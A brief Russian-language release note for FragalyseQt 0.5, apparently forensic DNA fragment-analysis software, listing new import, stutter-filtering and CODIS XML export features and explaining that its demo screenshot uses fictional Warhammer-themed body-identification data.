20 марта 2026 вышла FragalyseQt 0.5 «Southern» с импортом панелей GeneMapper, GeneMarker и NCBI OSIRIS, фильтрацией статтеров, экспортом в CODIS XML. Для скриншота мне было скучно использовать стандартные заглушки для данных (и ясно, что невозможно взять реальные данные дел), поэтому демо сделано как опознание тел после Резни в Зоне Высадки, Исстваан 5.
Планы: поддержка работы с БД и ролевая аутентификация
